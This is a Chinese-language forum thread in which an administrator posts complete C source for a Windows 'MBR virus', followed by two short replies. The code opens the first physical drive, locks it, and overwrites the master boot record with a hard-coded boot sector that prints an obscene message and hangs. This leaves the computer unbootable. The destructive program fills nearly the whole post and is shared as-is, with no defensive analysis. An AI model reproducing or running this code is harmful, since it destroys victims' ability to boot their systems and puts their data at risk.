找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 3248|回复: 2

MBR病毒源码

[复制链接]

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2011-10-6 23:25:02 | 显示全部楼层 |阅读模式
一年多前研究MBR时收集的。。。现在无意中翻了出来。。。共享下吧。。。

  1. #include "stdafx.h"
  2. #include "WinIoCtl.h"
  3. #pragma comment(linker, "/defaultlib:msvcrt.lib /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
  4. //下面是病毒代码部分
  5. unsigned char data[512] = {
  6.         0x8C, 0xC8, 0x8E, 0xD8, 0x8E, 0xC0, 0xE8, 0x03, 0x00, 0xE9, 0xFD, 0xFF, 0xB8, 0x1F, 0x7C, 0x89,
  7.         0xC5, 0xB9, 0x0C, 0x00, 0xB8, 0x01, 0x13, 0xBB, 0x0C, 0x00, 0xB2, 0x00, 0xCD, 0x10, 0xC3, 0x46,
  8.         0x75, 0x63, 0x6B, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x21, 0x21, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
  9.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  10.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  11.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  12.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  13.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  14.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  15.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  16.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  17.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  18.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  19.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  20.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  21.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  22.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  23.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  24.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  25.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  26.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  27.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  28.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  29.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  30.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  31.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  32.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  33.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  34.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  35.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  36.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  37.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
  38. };





  39. int APIENTRY WinMain(HINSTANCE hInstance,
  40.                     HINSTANCE hPrevInstance,
  41.                     LPSTR    lpCmdLine,
  42.                     int      nCmdShow)

  43. {
  44.         
  45.         // TODO: Place code here.
  46.         HANDLE hDevice;
  47.         DWORD dwBytesWritten, dwBytesReturned;
  48.         BYTE pMBR[512] = {0};
  49.         
  50.         // 重新构造MBR
  51.         memcpy(pMBR, data, sizeof(data) - 1);
  52.         pMBR[510] = 0x55;
  53.         pMBR[511] = 0xAA;
  54.         
  55.         hDevice = CreateFile
  56.                 (
  57.                 "\\\\.\\PHYSICALDRIVE0",
  58.                 GENERIC_READ | GENERIC_WRITE,
  59.                 FILE_SHARE_READ | FILE_SHARE_WRITE,
  60.                 NULL,
  61.                 OPEN_EXISTING,
  62.                 0,
  63.                 NULL
  64.                 );
  65.         DeviceIoControl
  66.                 (
  67.                 hDevice,
  68.                 FSCTL_LOCK_VOLUME,
  69.                 NULL,
  70.                 0,
  71.                 NULL,
  72.                 0,
  73.                 &dwBytesReturned,
  74.                 NULL
  75.                 );
  76.         // 写入病毒内容
  77.         WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
  78.         DeviceIoControl
  79.                 (
  80.                 hDevice,
  81.                 FSCTL_UNLOCK_VOLUME,
  82.                 NULL,
  83.                 0,
  84.                 NULL,
  85.                 0,
  86.                 &dwBytesReturned,
  87.                 NULL
  88.                 );
  89.         CloseHandle(hDevice);
  90.         ExitProcess(-1);
  91.         return 0;
  92. }
复制代码
From: http://bbs.my0745.com.cn/showtopic-2377.html(链接貌似已经失效)

12

主题

144

回帖

0

精华

铜牌会员

积分
281
发表于 2011-10-7 18:48:21 | 显示全部楼层
好帖子,顶一下!

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2011-10-7 19:14:44 | 显示全部楼层
那个是SHELLCODE的形式么?!~:$
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表